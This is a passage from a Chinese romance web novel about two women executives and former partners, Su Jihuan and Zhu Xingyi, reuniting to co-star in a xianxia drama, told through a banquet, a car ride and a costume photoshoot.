“其实对于磕cp的人来说，这种因为理想与信念不同、时间的消逝、心态的改变而分开的，是最好磕的。”韩珑单手撑着桌子，顺势戴上了黑框眼镜，“比起人工糖精，比起为了剧宣才卖姬的cp来说，现实生活中有无数感情纠葛的，才让这对cp有血有肉，如果……” 魏晴举手，韩珑一副友善的人民教师模样抬手：“来，请讲。” “韩导，可以先继续讲其他角色的选角吗？您说的这些cp还是其他情感，我们已经把这方面的运营外包给ilmeth了。”魏晴提醒，“我们现在还是先专注项目比较好。” 运营交给ilmeth，除了放心便是放心。韩珑也认为自己有点跑题，赶紧把话题拉回来，开始讲其他角色的选角。 魏晴环顾会议厅终于松口气的[苏盛］和[星闪］员工，暗叹还得是有背景才能这么敢说。 关于苏寄欢和祝星亦的过去，不管是[星闪］还是[苏盛］的员工，人前人后都不敢大肆讨论，也就韩珑这类后台大的人才敢说几嘴。 会议散了后，魏晴找到白澜简单汇报了本次会议。见韩珑和其他人聊些什么，魏晴忍不住八卦：“白澜，我还挺好奇的，祝总怎么愿意出演唐离啊？她都息影5年了，现在忽然复出，还出演有播出风险的双女主剧，真是让人猜不透她的心思。” “她说是资方指定的，其他没多说。”整理好记录，白澜认真把文件保存上。其实她也想知道苏寄欢为什么愿意出演云长洛呢。 按理说，苏寄欢应该很抗拒和祝星亦共事才对，怎么说演就演了？难道真的是为了话题才演的？ 看现在热搜情况，白澜觉得这个猜测可能是对的。资方要求播放量破200亿，角色只能选择话题、热度、演技皆在线的演员。恰好苏寄欢和祝星亦当初的《寄明月》掀起一股cp热，两人又自带话题度，即便《长离引》到时候拍得不好，光是苏寄欢和祝星亦的搭档都够讨论度了。 昔日形影不离的师徒，因理念不同分道扬镳。后来在职场上相遇并展开合作，但时过境迁，两人再无法回到过去的时光。 外人看来是热闹，白澜看来是凄凉。 十年，十年太长了。 合作拍戏，真的是个正确的决定吗？如果在剧组里闹出什么事，两个人的关系会不会更糟？ 可是再糟糕，也不会比最熟悉的陌生人一样糟糕了吧。 白澜摇摇头，随意应付了八卦的魏晴几句。 / 正式筹备完之前，[苏盛］和[星闪］参演的艺人一起前往酒店小聚，美其名曰[破冰］。 韩珑给魏晴打电话，说要带她一起去。魏晴难以推辞，只好在[苏盛］楼下等韩珑接她。 魏晴实在有点怕韩珑这个人，韩珑说话从来都是没遮没掩，但魏晴只是[苏盛］的普通员工，她可不想因为和韩珑站在一起惹上什么麻烦。 在楼下等了会儿，身边多了个人。魏晴的视线从手机上移开，一看身边的人，顿时吓了一跳。 “苏……苏总。”魏晴脸上堆着笑意，“您……您怎么在这儿？” 苏寄欢回答：“哦，等下不是要去酒店吗？” 魏晴左看右看，不见金允声，问：“金助理去开车了吗？” 苏寄欢摇摇头：“她等下和你一起去宴会，我坐其他车。” 正说着，一辆闪灵停在不远处。车门打开，下来的人是…… “祝总？”魏晴小声惊呼，“祝总怎么到这里了。” 苏寄欢侧头说：“我先走了，允声等下会下来，你和她一起跟韩珑去宴会。” 魏晴惊讶于苏寄欢知道自己和韩珑一起去宴会，但更惊讶苏寄欢要和祝星亦共乘一辆车。 看着苏寄欢和祝星亦简单交谈后一起坐进了后座，魏晴百思不得其解。 在门口等了片刻，金允声出来了。 魏晴忙问：“金助理，我想问问苏总怎么和祝总一起去宴会。” “顺路。”金允声解释，“祝总说顺路，说要跟苏总一起赴宴，苏总就答应了。” 魏晴查看地图，好奇道：“哎？顺路吗？[星闪］到[苏盛］再到酒店，不是还要绕个圈子吗？哪里顺路了？” 金允声耸肩：“我也不知道，祝总说顺路，苏总就同意坐她车了。” 她叉着腰，跟魏晴一样好奇：“她没车吗？非要乘祝总的车，晚上还要麻烦祝总送她回去。” “是啊，真奇怪。”魏晴嘟囔。 晚七点下班高峰期，车流龟速前进着。白澜单手搭在方向盘上打了个哈欠，后视镜里，苏寄欢歪着头沉沉睡去，祝星亦正襟危坐一声不吭。 话说，她们二人这种气氛能拍出cp感吗？白澜带着疑惑跟着前面的车行驶。 车里没有放音乐，身旁的人睡了，祝星亦也有些困倦。 只是在苏寄欢身边坐着，饶是有了困意，也无法冷静地睡去。 看白澜在认真开车，祝星亦低下身子瞄向苏寄欢。余光瞥见苏寄欢放在座椅上的手腕，她鬼使神差地侧过身子，手臂一伸，小拇指轻轻勾住苏寄欢的指尖。 小心翼翼勾着微凉的指尖，祝星亦心跳如鼓，怕被白澜注意到，也怕被苏寄欢发现。 可能是已经许久没有苏寄欢亲密接触过，祝星亦觉得两个人坐得近些她都会脸红、心跳加速。 这种感觉实在奇妙，像是回到了她们还没在一起的时候。但一想，她们现在可不是还没在一起？ 耳朵发烧了一阵，前方奔驰忽然猛地插进车道，白澜拍着喇叭怒喝：“劁！赶着投胎啊！” 祝星亦瞬间缩回手，慌慌张张拢了下耳边的发往右边坐了坐，眼睛瞄向窗外的车流。 应该没发现，应该没发现，祝星亦忐忑地闭上眼睛。 被惊醒的苏寄欢蜷了蜷被勾住的小指，稍稍调整下姿势继续睡去。 第153章 踩回来 应该没有……发现？ 祝星亦借着玻璃车窗朦胧的反光凝视苏寄欢的倒影。 摇晃的车厢里，苏寄欢阖眼歪在座椅上睡着，笔挺的深灰色西装勾勒着她的身体轮廓，白衬衫领口系着暗色领带。 苏寄欢在一些正式场合会穿西装，矜贵清冷、长身鹤立的模样很难让人忽视。 以前应酬结束，苏寄欢回家后，祝星亦会为她解下领带，再用指勾开衬衫纽扣吻她雪白的颈。 缱绻的吻总是不够尽兴，非要疯狂地索取才肯罢休。事后，屋子被她们两个弄得乱七八糟。那时苏寄欢边笑边收拾屋子，祝星亦懒洋洋地趴在床上，透过杂乱的头发看敞着衬衫的苏寄欢忙碌，看她弯腰整理杂乱的书桌，看她朝光溜溜的自己走来。 苏寄欢柔软的胸脯上都是祝星亦的吻痕，还有故意使坏咬肿的痕迹。之后祝星亦会缩在苏寄欢怀里，让苏寄欢像哄小孩一样哄她睡觉。苏寄欢抱着她晃晃悠悠，一边说着睡吧睡吧我的小宝贝，一边低头吻她。 怀念过去不是因为过去真的很美好，而是身边这个人一直都很好。 当然，祝星亦也很怀念过去。 她静静凝视苏寄欢的倒影，小小的空间里是苏寄欢身上熟悉的柚子花香，她数着苏寄欢平稳的呼吸，下意识跟苏寄欢的呼吸同频。 噩梦里她永远在追苏寄欢的背影，现在苏寄欢在她身边。 呼吸同频，她也想心跳同频。 驶过拥挤的路段后，车子平稳了些，白澜开到酒店停车场后，提醒后座的两人到了。 祝星亦抬手去碰门把手，身边的女人还在轻缓地呼吸。 还在睡觉？ 她往苏寄欢身边坐了坐，缓缓凑到苏寄欢耳畔嗅着轻浅的柚子花香，小声说：“苏总，到了。” 苏寄欢睁眼的刹那，祝星亦有些畏惧地往后缩了缩，她又重复：“苏总，到了，要下车了。” “嗯。”苏寄欢随意拨了下头发下车。 宴会厅在6楼，祝星亦下车轻轻关上车门，找到苏寄欢的人跟在她身后坐电梯。 白澜看时间将将好，扭头要与祝星亦说些话，待看到一左一右站着的苏寄欢和祝星亦，密闭的电梯间实在安静，她不好开口，只能立刻噤声。 祝星亦察觉到白澜想说话，马上问：“白澜，怎么了？” 白澜咳了声道：“没什么，就是觉得路上堵车还能准时到，挺好的。” 说着往另一边扭了下脸，问：“是吧，苏总。” 苏寄欢嗯了声，电梯正好到达六层。 白澜这时能清晰地听到外面热闹的声音，嘈杂打破电梯间的死寂，她松了口气，邀祝星亦和苏寄欢先出去。 穿过布置得十分精致的走廊，三人来到宴会厅。白澜接到金允声的电话，示意自己先去找金允声汇合。 只剩两个人了。 一路都没什么交流，祝星亦闷得很，很想和苏寄欢说话。 张了张口，眼前只有苏寄欢冷峻的背影。 那还是闭嘴好了，等下用餐和餐后有的聊的。 祝星亦盯着苏寄欢的后颈跟着走了几步，没注意苏寄欢忽然停下，结结实实撞在了苏寄欢的背上。 衣服上的柚子花香和发丝的香气扑入鼻尖，祝星亦小退半步问：“苏总，怎么了？” 苏寄欢转过身子，波澜不惊地说：“不要跟在我后面。” 祝星亦怔住了，声音急促：“不能，跟着你吗？我不能……我不能跟着你吗？” 苏寄欢叹口气，身子一错，站在祝星亦身旁。 挺直的脊背被灯光勾勒出一层洁白的霜雾，纤瘦的影子虚虚的，像一捧柔软的棉絮。 她垂头耐心跟祝星亦解释：“我是说，你不要走在我身后，不要总是低着头在我后面跟着，你要与我并肩。” “与你，并肩？” 苏寄欢嘴角泛起淡淡的弧度：“对，并肩。你当然要和我并肩，祝总。” 她轻轻抬手，不远处是聚集在一起的[苏盛]和[星闪]的员工。 那群艺人望了过来，齐齐转过身子，等待两人走过去。 “走吧。”苏寄欢示意祝星亦先走。 祝星亦跨出一步又退了回来，苏寄欢疑惑。 下一秒，祝星亦抬手挽住苏寄欢的胳膊。 苏寄欢怔愣片刻，听到祝星亦说：“苏总，挽手臂是一种社交礼仪。” 随后祝星亦抓紧她的手臂使力往前走，她挑了下眉放轻声音：“轻点，不要那么用力。” 感受到身边的人放轻了力度，她唇角微微上扬。 两家艺人颔首致意，异口同声：“苏总好，祝总好。” 苏寄欢淡笑着点头，而身旁的人抓紧她的手臂，脸上的绯红些许滚烫：“你们好。” 寒暄过后众人前去用餐，毫无意外，祝星亦与苏寄欢同在一桌。 长桌不大，只能坐下6人。祝星亦带着周娅和李韵之去长桌那处时，乔沐音和程偌菲跟在苏寄欢身后走过来。 “祝总。”程偌菲颔首，她刚到，这次《长离引》里她客串一些戏份，客串完就要进其他剧组。 祝星亦点头致意，程偌菲招呼大家快些坐下。 祝星亦没动作，苏寄欢也站着，一时间，无人坐下。 “苏总，你坐中间。”乔沐音扬眉笑着邀请苏寄欢去坐，又伸手邀请祝星亦，“祝总，你坐苏总对面。” 面对面坐，一侧是[苏盛]，一侧是[星闪]。 苏寄欢没多推辞，径直去左侧中间位置坐下，其他人相继落座。 祝星亦坐直身子，抬眼便是对面的苏寄欢。这样看来，好似她与苏寄欢单独用餐一样。 不过四周太热闹了。 “沐音，等去万岁山酒店，咱俩住套房好不好。”李韵之和乔沐音年纪相仿，先前两人去综艺结识，聊得很开心。 乔沐音笑着点头：“好哇好哇，那边的酒店和景区的建筑一样，都是古风建筑，可好看了。” “你好像还没演过古装剧嘞。” “是哇，我第一次演呢，月底好像去试妆拍定妆照，哇，我好羡慕你那个角色欸，角色设定是拿弓箭呢。”乔沐音噘嘴说，“我玩游戏非常喜欢玩拿弓箭的，哎，可惜了，没拿到那个角色。” 李韵之小手一挥：“这有什么啊，咱俩换换呗，咱俩的角色戏份差不多的。” 说着，马上晃晃一旁祝星亦的胳膊：“祝总祝总，我跟沐音换角色好不好，拜托拜托。” 这…… 祝星亦刚要说等下回去考虑考虑，斜对面的乔沐音瞄了眼苏寄欢后，有些瑟缩地投来求助的目光。 考虑到这两个角色换着演好像没什么差别，祝星亦点头：“当然……” 祝星亦正拿起水杯喝了口水，脚面一阵压力。 桌下苏寄欢的长腿伸过来踩住了她的脚。 祝星亦抬眼，对面的女人脸上没什么表情，但一侧的眉毛微压，似乎对她畅快地答应有莫大的意见。 忽然呛了下。 祝星亦咳嗽两声放下水杯：“这个需要过问一下苏总。” 撒娇的李韵之忽然噤声。 她知道苏寄欢有可能直接拒绝才求祝星亦的，乔沐音也是，要不然乔沐音早就求苏寄欢换角色了。 “换角色的话，要重新熟悉剧本，你做好准备了吗？”苏寄欢的手指轻轻敲击着桌面，“这么轻易换角色，难道说之前的剧本就没怎么看？” 一句话骂了两个人。 冰冷冷的字句撂在饭桌上，乔沐音不吱声，对面的李韵之也闭上嘴巴。 祝星亦看热闹的气氛忽然被苏寄欢简简单单两句话打破，忙说：“慕观雪和郁听风这二人基本都是同框，她们看剧本的时候，定是也把对方的戏份也看了，是不是？” 祝星亦给乔沐音使了个眼色，乔沐音马上点点头。李韵之也跟着说：“是啊是啊，我和沐音的搭戏最多了，我们也很熟悉彼此的戏份，所以即便换角色也不碍事。” 李韵之被苏寄欢的冷眼盯着，声音越发微弱。 周娅盯着几人的对话，缓声说：“真要是换了角色，你们可要加把劲，别耽误拍戏。” “肯定不会耽误的！”李韵之和乔沐音异口同声道。 苏寄欢神色缓了缓，算是同意了。 祝星亦松了口气，只是脚背上的鞋子仍旧没有离开。 她不好说什么，也不敢移动脚，只得忍耐着对方奇怪的行为安之若素地坐着。 不一会儿侍者上菜，气氛缓和许多。 用餐时对面的人收回了脚，祝星亦低头边扒饭边活动脚踝。 终于自由了。 又上了一道菜，熏鹅。祝星亦拿公筷夹了块肉放自己碗里，刚拿起自己的筷子要送到嘴里，桌下某人的腿又伸了过来，踩在她右脚上。 刚刚踩左脚，现在踩右脚。 夹着鹅肉的筷子差点不稳，祝星亦缓慢抬眸，对面的女人直勾勾地盯着她看。 那寸目光里，着实让人猜不透苏寄欢到底在想什么。 祝星亦大脑快速转动，最终把夹起的鹅肉放进苏寄欢碗里。 女人嘴角轻微翘起，咬了口肉，双眉向上挑，祝星亦这才松了口气。 只是桌上热闹聊天的人忽然默契地收声。 她们……没有看错吧？刚刚祝总用自己的筷子，把肉夹给了苏总，苏总还高高兴兴吃了。 四个人同时滞住。 苏寄欢把祝星亦夹的那块肉吃完，看那几人不动，提醒：“都吃饱了？” 话一出，四人立刻拿起筷子低头吃饭。 苏寄欢面上无甚表情，桌下长腿微动，又往祝星亦鞋面上轻踩一下。 吃完一顿餐，几人前往宴会厅。宴会厅有一些破冰小游戏，李韵之几人前去参加。 韩珑看苏寄欢和祝星亦二人刚出来，忙打招呼：“苏总，祝总，来玩套圈！” “好，稍等。”苏寄欢挥挥手，正要过去，衣角被拉住。 苏寄欢转头，拉她衣角的人仰着脸看她，琥珀色的眸子亮晶晶的，像清透海水里的玻璃珠子，呼吸声也骤然清晰。 祝星亦蹙眉道：“刚刚吃饭的时候你踩我脚了。” “然后？”苏寄欢垂眼看她，尾音又轻又淡漠。 祝星亦沉吟片刻：“然后……然后……” 诚然，她也不知该如何让自己解气。 温热的呼吸忽然拂过发顶，祝星亦错愕时，苏寄欢的皮鞋已经抵着她的鞋尖。 苏寄欢挑眉：“你可以踩回来。” 踩回来？以牙还牙？ 倒是个好主意。 祝星亦咬着唇伸手抓住苏寄欢的袖子，抬脚踩在苏寄欢的鞋子上。 一脚下去，不偏不倚，稳稳踩住。 踩完收回脚，祝星亦还在抓着女人的袖子。眼看女人要转身去套圈那处，祝星亦又拽住了她。 苏寄欢偏头问：“还有事？” 第154章 抱着你 祝星亦点头：“有，还有一只没踩。” 苏寄欢没反驳，马上伸出另一条腿。 待另一只脚被踩完后，苏寄欢问：“好了吗？” 祝星亦点点头，松了手。 苏寄欢抬起手臂看西装衣袖，衣袖被攥得皱巴巴的。 转头看罪魁祸首，罪魁祸首背着手道：“不好意思，苏总，把你衣服抓皱了，宴会结束后你可以把你的西装给我，我回去给你熨一下。” 苏寄欢神色如常，指尖勾起纽扣，动作利落地脱下外套递给身旁的女人，“那就麻烦祝总了。” 西装上还有残留的温度，祝星亦下意识收紧五指点头：“不麻烦，应该的。” 抬眼时望见苏寄欢衬衫下饱满的曲线，祝星亦瘪了下嘴问：“不过，苏总要只穿着衬衫去套圈吗？” 苏寄欢眉梢微挑，挺直脊背稍稍理了下领带淡声问：“不可以？” 宴会厅里的空调温度定在26℃，正正好的温度，来赴宴的人穿的多是西装或裙，就连祝星亦本人也是一袭长裙。 祝星亦的视线黏在苏寄欢胸前许久，摇头：“没什么，我跟你一起去套圈。” 套圈区围了许多人，见两人过来，韩珑拎着十几个圈冲过来：“苏总，祝总，快来套圈，说不定能套中一等奖呢！” 一等奖是30g金条，至今还没有人能套中。 苏寄欢接过几个圈，站到线前将手里的圈扔出去，5个圈中了4个，最后一个圈套中了一等奖。 “哇！不愧是苏总，这么难套的奖竟然套中了！” “竟然是苏总拿到了金条诶，苏总好厉害！” “还得是苏总啊，我套了十个圈也只中了个阳光普照奖，倒霉死了。” 人群欢呼后，主持人去给苏寄欢拿奖。韩珑把5个圈拿给祝星亦，一旁的白澜伸手要接西装，却见祝星亦将衣服往怀里又拢了三分。 “我就喜欢一等奖，现在被套走了，我也不想玩了，你们玩就好。”祝星亦退后半步，抱着衣服往苏寄欢那处走。 走过去，望见苏寄欢掌心里闪亮的金条。 祝星亦眸中闪过一寸亮光，抱紧衣服站到苏寄欢身侧，看苏寄欢放下金条听主持人讲另外三件礼物。 苏寄欢对这些礼物没什么执念，点开手机的一个软件，随便选了三个员工把获得的礼物送出去，差金允声到时候把礼物打包给她们。 金条递到眼前的时候，祝星亦还在跑神儿。 祝星亦眨眨眼问：“苏总这是……” “送你的。”苏寄欢晃了下手腕，示意她收下，“我在年会和活动中的奖都会送给别人，你没玩套圈，就拿着这个好了。” 祝星亦抓着金条掂了掂，抿着唇笑说：“谢谢你，苏总，我最喜欢金子了。” 一个圈没套，竟然还能拿到一等奖。祝星亦捏捏金条，往苏寄欢身旁靠近了些。 散发着柚子花香的女人没有抗拒也没有后退，祝星亦垂眼看手里的西装，轻声说：“苏总，我后天把西装还给你好不好？” “明天不行？”苏寄欢问。 “你很着急穿？” “随你。”苏寄欢淡淡吐出两个字。 宴会结束返程时，祝星亦困得睁不开眼，到车上也顾不上和苏寄欢说话，歪着身子阖上眼。 白澜停车说到了的时候，祝星亦才昏昏沉沉醒来。 侧着头看向外面，是苏寄欢的家。 祝星亦打了个哈欠艰难出声：“苏总，你到家了。” 困倦无比，几乎要发不出声音，动了下身子，才看到身上盖了件衣服。 是苏寄欢的西装。 奇怪，她不是牢牢抱在怀里的吗？怎么…… 一旁的苏寄欢道了声“我下车了”便推门出去，祝星亦反应了一会儿赶忙把手从衣服里抽出来准备开门。 苏寄欢站在她那侧门口单手扣住车门，“祝总，不用送了，早些休息。” 说罢，关上门。又站在副驾那处同白澜说：“白澜辛苦你了，回去路上慢些。” “好的苏总，那我们走了。” “嗯。” 车慢慢行驶，祝星亦扒着车窗看站在原地的苏寄欢。 苏寄欢站在路灯下，被昏黄的光笼了一层模糊的光晕，白衬衫贴着身体曲线的弧度，像一团柔软的棉絮。 凝望着越来越远的女人，祝星亦叹自己真是没用，这么好的聊天机会竟然睡了一路。 祝星亦抓着衣服低头吸了一口衣服上残留的味道，再抬头对上后视镜里白澜疑惑的视线。 她红着脸慢慢歪倒在后座用衣服蒙住脸，算了，反正困了，先睡吧。 两日后，西装洗净熨烫好。 祝星亦带着白澜亲自送衣服，白澜跟在她身后走进[苏盛］。这两年[星闪］和[苏盛］的联系多，两家员工彼此熟了些。到门口，接待人员便邀她们去了接待厅。 “祝总稍等，苏总还在开会。”接待人员放下茶颔首离去。 等了许久，祝星亦听到外面一阵响动，她好像听到苏寄欢的声音了。 祝星亦立刻起身推门出去，果然看到不远处苏寄欢从会议室里走出。她赶忙打开门快步走去，白澜抱住西装跟上。 “苏总。”祝星亦还没到苏寄欢跟前儿便喊了一声。 苏寄欢看祝星亦过来，立刻停止了讲话。 “苏总，我来送你的衣服。”祝星亦站到苏寄欢面前，抬手指了下白澜手里拿着的西装。 金允声接过西装，听到有人窃窃私语—— “苏总的西装怎么在祝总手里？该不会……该不会苏总留宿祝总家里了吧！” “难道两人旧情复燃？听说她们以前还结过婚呢……” 金允声蹙着眉示意他们不要多说，那些人瞬间噤声。 苏寄欢点点头道：“嗯，辛苦你了。” “没别的事，我先走了。”祝星亦晃晃手转身离开。 苏寄欢叫住她。 祝星亦停下脚步，回头问：“苏总还有事？” “下周五拍定妆照，别忘记了。”苏寄欢提醒。 祝星亦点头，与白澜一同离去。 目送脚步欢快的女人离开，苏寄欢跟身后的人简单交代几句便回了办公室。 苏寄欢瞄了眼金允声拎着的西服，走过去把外面的防尘罩取下。衣服确实被打理得很好，还能嗅到淡淡的洗衣液的味道。 她没有过多犹豫，迅速脱下身上的外套，换上祝星亦洗好熨好的衣服。 “苏总，你……”金允声还没来得及反应过来，苏寄欢已经换好了衣服。 她深吸一口气，把苏寄欢换下的衣服收好，“苏总，韩导那边说到时候定妆照要换十几套衣服，兴许要拍好几天。” “拍就拍。”苏寄欢旋身走向自己的工作台，“有人陪着，不会闷。” / 《长离引》剧照的拍摄地点是在一个较大的影视棚里，祝星亦过去的时候看到了工作人员布好的景。 白澜给祝星亦看韩珑想要呈现的视觉效果，“单人必拍的是这些，双人多就比较多了。这十几套衣服都是剧中的衣服，我听景小姐说，她给你和苏总每人准备了40多套衣服。” 坐在椅子上被妆造师小禾整理发髻的祝星亦拧眉道：“每人40多套？那光是换衣服都要花很多时间吧。” 摆弄发包的小禾道：“何止衣服，发型也有许多种，但为了进度，这几天拍剧照只需要展示十几种。” “仙侠剧的看点除了剧情和特效，就是妆造啦。有景小姐监制，这部剧绝对和那些丧葬风的仙侠剧不一样，韩导也说了，力求还原原著。”一旁的小念从衣架上挑了件淡粉色的宽袖裙，她和小禾负责本次《长离引》拍摄时祝星亦的妆造。 窝在化妆间里许久，第一套造型便做好了，拍完几张单人照，白澜带祝星亦去布景的大棚里找苏寄欢汇合。 为了赶上进度，两人在不同拍摄房间拍完单人照，再去布好景的摄影棚拍双人照。 来到大棚，祝星亦四顾了下，看到一袭淡青衣的苏寄欢坐在假树旁听韩珑和摄影师指导动作。 韩珑看祝星亦来了，赶忙招手：“唐离，来来来，来师尊这边，你们要拍13号那张。” 白澜给祝星亦看13号那张图，是《长离引》衍生漫画的内容，云长洛歪在树旁，唐离伏在云长洛胸口，云长洛揽着唐离的腰，两人深情对视。 这……这一上来就这么亲密吗？ 祝星亦看着这张图有些忐忑，韩珑走过来催她过来：“走嘛唐离，长洛师尊在等你了。” 祝星亦瞄了眼苏寄欢，苏寄欢还在跟摄影师说话。 工作，工作嘛，祝星亦告诉自己不要太过于紧张。 提着裙子来到树旁，韩珑给祝星亦做指导：“等下唐离你直接趴在师尊身上，然后这边拍几张你伏在师尊身上的片，之后你们俩深情对视就好，听我指挥，OK，开始吧。” 苏寄欢已经在树旁歪着了，韩珑说完示意祝星亦快些做动作。 祝星亦俯视慵懒歪在树旁的苏寄欢，对上那双有些锐利的眼，双腿打颤。 “开始吧。”韩珑拍拍祝星亦。 祝星亦攥着拳咬牙坐在地上，随后慢慢爬向苏寄欢。 粉白的衣裙扫过假草发出簌簌的声响，祝星亦缓缓直起身子，将手撑在了苏寄欢耳侧。 对方的体温透过薄薄的衣衫蔓延出来，视线往下，祝星亦望着苏寄欢疏冷美丽的脸庞差点停止呼吸。 原著中云长洛贵为神界南域栖云山的主人，清冷矜贵，法力高强，苏寄欢不管是妆造还是本人的气质，都十分符合原著中云长洛的形象，像一块玉石，也像一捧冷雪。 真美啊。祝星亦盯着苏寄欢，一点也移不开眼。 苏寄欢压着眉毛对上祝星亦的眼，似乎在疑惑。 祝星亦不解其意。 很快，她听到韩珑举着喇叭喊：“唐离啊，你别壁咚师尊啊，你得记住唐离是受，唐离是不能这样对师尊的，不然会被说逆cp。攻受逆了会有很多人为此打架，原著作者也强调了攻受不能逆，所以咱们也得尊重一下作者的要求。OK，你先趴师尊身上，我给你们调整姿势。” 听到这些，祝星亦愣了愣，收回手嘟囔：“这是什么道理，受就不能壁咚攻了吗？壁个咚还能是逆cp？这攻这么没用？” 嘟囔着，祝星亦调整姿势趴在苏寄欢胸前。 柔软的触感和香味，让祝星亦有些贪恋地蹭了蹭。 她好久没有与苏寄欢这样亲密了，若不是答应拍这部剧，兴许她还在被苏寄欢嫌弃冷落。 苏寄欢摔碎两人镯子的事历历在目，祝星亦无论如何都无法释怀。 十年的师徒情谊被苏寄欢无情打破，她也只能在《长离引》里和苏寄欢再续师徒情谊。 想着，祝星亦有些难过地埋在苏寄欢胸前差点哭鼻子。 灼热的呼吸喷在胸口，苏寄欢感受着身上人红唇的触感，拧着眉毛狠狠掐了下那人的腰。 身上的人懵懵抬头。 苏寄欢冷声道：“祝总，你在干什么？” 祝星亦刚要说自己什么也没干，低头一看，苏寄欢严严实实的领口已经被她的鼻头蹭开，胸前还留有乱七八糟的唇印。 这下怎么也解释不清楚了。祝星亦额上渗出一层汗。这哪里是在拍戏，这明明是趁拍摄揩油啊…… 迎着苏寄欢的冷眼，祝星亦不知该如何解释。这么多不该出现的唇印，再解释也解释不清了。 “深情，深情一点啊两位，含情脉脉一点，快快快。”韩珑举着喇叭指挥。 她们哪里能深情对视，苏寄欢宰了她的心都有了吧，祝星亦想着，艰难地咧出一个笑来。 “往上一点。”苏寄欢忽然说。 祝星亦怔了下。 又听苏寄欢说：“你往上趴一点，这样我们能对视。” 苏寄欢拍拍她的腰，示意她往上趴：“快，你要我把你抱上来吗？” 第155章 抱住了 抱上来？倒也不是不可以。 嗅着好闻道柚子花香，祝星亦蠕动了下唇，小声说：“你要是觉得我配合得不好，你自己来调。” “你不能自己动？”苏寄欢绷着脸，手从祝星亦腰上移开，“快点，你在上面，你方便些。” 远处韩珑还在拿着大喇叭催促*，祝星亦没得逞，只好往上爬了爬。 韩珑要求[深情对视]，祝星亦看了身下的苏寄欢好长时间都感受不到所谓的[深情]。 “苏总，你要深情看我。”祝星亦提醒苏寄欢，却没见到对方的表情有什么变化。 苏寄欢的专业能力毋庸置疑，祝星亦觉得她故意不配合，只好软下声来：“苏总，你对我深情一点吧，不然很难出片。” 除了难出片外，祝星亦保持这个姿势有些累。 拽拽身下人的衣服，那人才扯出一个微笑来。 韩珑觉得不够，走过去亲自指导一番，两人的姿势才算很亲密。等拍到韩珑满意的照片，祝星亦的胳膊都酸了。 “苏总，请你尽量配合一下。”补妆间隙，祝星亦揉揉胳膊找苏寄欢商量，“你至少要敬业一些，起码出片之后要让观众感受到你和我的cp感。” 苏寄欢站在树下任化妆师补妆，对祝星亦的话置若罔闻。 摆明故意的。祝星亦提着裙子走过去，还没到跟前儿，苏寄欢比画了个[停下]的手势。 祝星亦没搭理她的警告，径直走过去握住她的手。 苏寄欢浑身一激灵，“你干什么？” 想收回手，但被紧紧拽着，怎么也收不回来。 “我提醒你敬业一点，拍定妆照都不配合，日后拍戏怎么办？”祝星亦说着说着有一些愠怒。 涉及工作，祝星亦总是会更严格些，她又收紧了力度，严肃道：“接下来的拍摄我希望你尽量配合，展现你作为专业演员的素养。我五年没拍戏尚且能快速进入状态，你两年没拍戏应该比我更好些才对，怎么总是不在状态？” 工作人员竖起耳朵听祝星亦对苏寄欢的“指责”，早年听说这二人因为旧事划清界限，虽然后来两两合作，但未曾见二人给彼此有过好脸色。现在又要一起拍戏，单单拍定妆照就起了争执，以后可该如何是好？ 沉默的间隙，人人都以为苏寄欢会和祝星亦拌几句嘴，未料到苏寄欢只淡淡说了句知道了，真是好脾气。 祝星亦收回手，当苏寄欢听到心里去。 接连几日的拍摄，苏寄欢还算配合，祝星亦看了拍摄的成片也比较满意。 这次拍戏和以前拍戏不一样，以前她演好角色就好，现在她还要为整部剧的呈现和运营负责，光是拍个定妆照她都头疼到时候发哪些照片更有话题。 苏寄欢选了几张还没修图的照片发给她，让她做参考。 六张都是[不堪入目］的照片——泡在水里相拥、榻上缠绵、交缠的手臂和腿、衣衫凌乱的醉酒模样…… 有点像私房照。 韩珑指定要拍这些动作和成片，祝星亦脸红心跳地配合苏寄欢摆动作，发现对方很平静。 未免也太敬业了，一点反应都没有。 祝星亦瞄了几眼照片红着脸道：“这些不行，太露。骨了，真要是发了这些照片出去，《长离引》还想不想播了？” “你不是想要话题？” 祝星亦反驳：“要话题也不是要这种话题，苏总，我们现在是在谈正事，你不要总是故意……” 她说着忽然停了下来。 苏寄欢侧过头问：“怎么不说了？” 祝星亦低头看了看手机拉过凳子在苏寄欢身旁坐下，“不好意思，我不是故意跟你生气，我只是觉得你没有配合我工作，我有点着急。” 碰到工作问题，祝星亦没有耐心完全顺着苏寄欢。 感情和工作她一向分得很清，《长离引》这个项目给到她的压力太大，她很难用平常心对待不停捣蛋的苏寄欢。 苏寄欢拧开保温杯，往杯盖里倒满水后放在祝星亦手侧，问：“你急什么？运营？运营不是已经交给ilmeth？拍摄？你的拍摄团队不是很专业？演戏？你不是五年没演戏还比我状态好吗？” 祝星亦扣着衣裙上的丝带低头不语，久久，垂头说：“就是觉得很急，进度很赶，你又不配合。” “完成一个项目，不是靠一个人着急就可以成功推动的。从剧本定下来开始你就一直在焦虑，焦虑是好事，证明你有解决这件事的能力，但太焦虑只会得不偿失。”苏寄欢抬了抬下巴，示意祝星亦喝水。 祝星亦拿过杯盖抿了口，是三花茶。 “先不说剧拍完之后能不能上内地的问题，这次我们也和奈飞合作，宣传到位的话，200亿播放量是可以冲一冲。近几年的大爆剧其实都算不上正经的爆，粗制滥造的剧太多，很难判定一部剧究竟有没有出圈。”苏寄欢喝了口茶水，缓声说：“现在不是很流行短剧吗？你肯定知道它为什么流行，不然你也不会有那么多爆火的短剧。快节奏生活下，精炼不拖沓的剧情才能吸引更多观众，所以正式的剧本相比前几版精炼很多，剧的篇幅也会缩短。” “我知道你还是很担心200亿播放量，担心热度和话题上不去。但热搜榜上的我们还不能给你信心吗？还是你觉得挂在热搜第一三天根本不够？” 听着苏寄欢的话，祝星亦的眉微微皱起：“此一时，彼一时，剧还没播，谁知道到时候是什么情况。” 苏寄欢耸了耸肩：“先不说剧播没播，剧还没拍你就开始为未来的事焦虑，你这不是自寻烦恼？你现在应该思考的难道不是……怎么好好拍戏？” 祝星亦觉得苏寄欢说得对，但她觉得自己为未来的事考虑也没有错。毕竟那些事就算现在不考虑，以后也是要考虑的。 苏寄欢没有继续劝她，喝了口水说：“当初拍《寄明月》的时候，也没有人看好那部剧，但最后不也是赢了？十年过去，轮到我们做主，也许结果会更好。” 祝星亦垂眼说：“现在和以前不一样，题材、舆论都有很大的问题，你要这么自信地赌一次吗？” 苏寄欢给她添茶水，说：“当然要赌，我一直都是赌徒。以前都是我一个人赌，现在你和我一起赌，怕什么？” 一起？ 是啊。一起。 祝星亦忽然安心了一点。 这次不是她自己面对，而是她和苏寄欢一起面对。 